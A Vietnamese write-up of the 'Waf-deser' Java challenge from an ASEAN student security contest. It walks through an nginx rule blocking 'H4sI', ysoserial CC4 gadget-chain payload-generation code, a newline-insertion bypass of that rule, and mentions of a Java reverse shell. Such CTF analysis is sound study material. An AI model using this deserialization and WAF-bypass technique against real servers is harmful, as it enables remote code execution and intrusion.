Cũng lâu rồi mình cũng chưa post bài nào kể từ bài post cuối, nay nhân dịp vừa qua mình có tham gia Vòng sơ khảo – Cuộc thi Sinh viên với An toàn thông tin ASEAN nên nay cũng muốn viết một bài write-up về một challenge web mà đội mình đã giải được mà cụ thể là bài Waf-deser
này. Và cũng vui vì team mình đã first-blood bài này trong thời gian diễn ra cuộc thi ^^.
Analysis
Bài này là một challenge về Java, source code các bạn có thể tham khảo tại đây. Giải nén ra thì đập vào mắt mình gồm 2 file nginx.conf
bao gồm những cấu hình của nginx server và file waf-deser-0.0.1-SNAPSHOT.jar
là source code của challenge.
Tạo một project bất kỳ trên IntelliJ
và add file .jar
này vào để tiến hành đọc source code.
File nginx.config
có nội dung như sau:
server {
listen 80;
large_client_header_buffers 4 3000; # Limit URI length upto 3000 bytes
location ~* H4sI {
return 403 'Deserialization of Untrusted Data Detected. (From real WAF with <3)';
}
location / {
proxy_set_header X-Forwarded-For $remote_addr;
proxy_set_header Host $http_host;
proxy_pass "http://web:8080";
}
}
Ở đây có một pattern lọc những request có đường dẫn bắt đầu bằng H4sI
thì sẽ bị chặn để tránh việc tấn công deserialize (cứ tạm note tới đây vì một chút nữa các bạn sẽ biết tại sao lại chặn chuỗi này).
Về phần source code Java bao gồm 3 class User (class chứa các trường name, age)
, UserController (class chính để handle request tới)
và WafDeserApplication (class để khởi chạy ứng dụng)
. Nhưng trong trường hợp này thì ta chỉ cần quan tâm tới class UserController
// UserController.java
package vcs.example.wafdeser;
import java.io.ByteArrayInputStream;
...
@RestController
public class UserController {
...
@RequestMapping(
value = {"/info/{info}"},
method = {RequestMethod.GET}
)
public String getUser(@PathVariable("info") String info, @RequestParam(name = "compress",defaultValue = "false") Boolean isCompress) throws IOException {
String unencodedData = this.unEncode(info);
String returnData = "";
byte[] data = Base64.getMimeDecoder().decode(unencodedData);
if (isCompress) {
InputStream is = new ByteArrayInputStream(data);
InputStream is = new GZIPInputStream(is);
ObjectInputStream ois = new ObjectInputStream(is);
try {
User user = (User)ois.readObject();
returnData = user.getName();
ois.close();
} catch (Exception var9) {
returnData = "?????";
}
} else {
returnData = new String(data, StandardCharsets.UTF_8);
}
return String.format("Hello %s", returnData);
}
private String unEncode(String s) {
return s.replaceAll("-", "\\r\\n").replaceAll("%3D", "=").replaceAll("%2B", "\\+").replaceAll("_", "/");
}
}
nhìn vào source code này, ta có thể dễ dàng thấy được rằng đây là một challenge về Java Deserialize, vì server nhận vào một chuỗi base64 thông qua endpoint /info/<data>
, nếu như có param compress
thì sau đó sẽ tiến hành decode và load data đưa vào ObjectInputStream -> đây cũng là sink của bài toán.
...
public String getUser(@PathVariable("info") String info, @RequestParam(name = "compress",defaultValue = "false") Boolean isCompress) throws IOException {
String unencodedData = this.unEncode(info);
String returnData = "";
byte[] data = Base64.getMimeDecoder().decode(unencodedData);
if (isCompress) {
InputStream is = new ByteArrayInputStream(data);
InputStream is = new GZIPInputStream(is);
ObjectInputStream ois = new ObjectInputStream(is);
try {
User user = (User)ois.readObject();
returnData = user.getName();
ois.close();
} catch (Exception var9) {
returnData = "?????";
}
...
}
đồng thời có sự hiện diện của CC4
nên chắc chắn phải sử dụng gadget chain của CC4
Exploit
Trước khi đi sâu vào phân tích bypass waf trên thì trên local việc đầu tiên mà mình làm là include thư viện ysoserial.jar
vào trước, sau đó gọi đến hàm getObject
trên ysoserial
để tạo ra object chứa gadget chain CC4
. Sau đó tiến hành tạo payload dưới dạng gzip
và encode ra base64, mình làm việc này đầu tiên là bởi vì mình muốn đảm bảo rằng quá trình decode base64 -> decompress gzip -> load object
có thể RCE thành công.
Hàm để gen payload đơn giản như sau:
...
// from ysoserial with love
public static Queue<Object> getObject(final String command) throws Exception {
Object templates = Gadgets.createTemplatesImpl(command);
...
return queue;
}
public static void generatePayload(String cmd) throws IOException {
String payload;
final ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
final ObjectOutputStream objectOutputStream;
try{
FileOutputStream fos = new FileOutputStream("./out.gz");
GZIPOutputStream gz = new GZIPOutputStream(fos);
ObjectOutputStream oos = new ObjectOutputStream(gz);
oos.writeObject(getObject(cmd));
oos.close();
System.out.println("Done");
}catch(Exception ex){
ex.printStackTrace();
}
File file = new File("out.gz");
byte[] encoded = Base64.getMimeEncoder().encode(FileUtils.readFileToByteArray(file));
payload = new String(encoded, StandardCharsets.US_ASCII);
System.out.println(payload);
}
public static void main(String args[]) throws Exception {
generatePayload("calc.exe");
}
...
kết quả như sau:
thường các byte header của file gzip
sau khi base64 encode sẽ bắt đầu là H4sI
=> Đó là lý do tại sao nginx lại chặn chuỗi có chứa H4sI
, mục đích là ngăn chặn ta gửi một object đã được compress dưới dạng gzip lên.
Sau khi có được payload ở trên rồi ta tiến hành deserialize thử payload vừa tạo xem quá trình deserialize có thể RCE thành công được hay không.
tới đây là coi như ổn được phần đầu. Nhưng để ý một chút là payload được truyền qua url phải đi qua hàm unEncode
hàm này có chức năng là thay một số ký tự urlencoded sang dạng raw và kèm theo một số ký tự khác nữa
Nếu để ý thì trong payload ta vừa tạo bên trên dưới dạng gzip thì sẽ có một số ký tự /
, mà trên url nếu gặp ký tự này thì nó sẽ hiểu là một đường dẫn chứ không phải là data mà chúng ta muốn truyền vào -> status code sẽ là 404, kể cả có urlencode đi chăng nữa
dựa vào hàm unEncode
này có một chổ có thể sử dụng để bypass trường hợp này là replaceAll("_", "/")
-> dựa vào chổ này ta có thể truyền dấu /
mà không ảnh hưởng đến payload cũng như không ảnh hưởng đến đường dẫn.
H4sI_abcv%2Bxxx%3D -> unEncode -> H4sI/abcv+xxx=
sau khi hiểu được quy luật thì mình đã tiến hành sửa lại payload trên tiến hành test trên local và RCE thành công.
nhưng … chưa xong đâu =)), chúng ta cần bypass cái waf của nginx
nữa =((
sau đó mình đã google đủ kiểu tìm cách nào đó có thể chèn gzip mà không phải bắt đầu bằng H4sI
hay không thì kết quả là không tìm ra được =((. Nhưng sau đó ở trên IntelliJ
, mình đã thử fuzz chèn một số ký tự đặc biệt như \n
thì lại work =))
Lý do là vì ở hàm Base64.getMimeDecoder().decode()
sẽ decode với đầu vào là một tập các ký tự charset ISO_8859_1
ở hàm decode0
, khi bắt gặp ký tự \n
thì giá trị của isMIME=true
lúc này nó sẽ skip dấu \n
đi và sau đó tiến hành xử lý các ký tự tiếp theo.
dễ hiểu hơn nếu như có xuất hiện các ký tự không tìm thấy trong bộ base64 alphabet
thì sẽ bị bỏ qua
Dựa vào trick này, ta có thể dễ dàng bypass waf bằng cách thêm \n
vào chuỗi H4sI
-> RCE
Đến đây coi như là xong bài toán, nhưng có một điều làm mình hơi mất thời gian là vì mình đã sử dụng một số command như curl, wget, nslookup
với mục đích là để xem payload có thể RCE trên server thật hay không nhưng không có request nào nhận được =((
nên lúc này mình đã build docker ngay lập tức trên local để test xem liệu đã có thể RCE được hay chưa? Nhưng sau khi test thì thấy payload vẫn hoạt động, các command như wget, curl, nslookup
không hoạt động là do trên server không cài những công cụ đó.
Đến đây thì đành phải reverse shell qua payload dành cho Java là:
Tạo payload:
Và cuối cùng là đọc flag thoyyyyyyyyyyyyyyyyy:
May mắn là ở vòng thi sơ khảo này, team của tụi mình cũng đã đạt được thành tích đáng kể song đó cũng cảm ơn BTC vì đã tạo ra những challenge hay và vô cùng thú vị này!!!
Mặc dù hơi muộn nhưng chúc chị em có một ngày 20/10 thật vui và tràn đầy niềm vui nhé!!!From nhienit with love x1337
Happy hacking!!!
Bình luận về bài viết này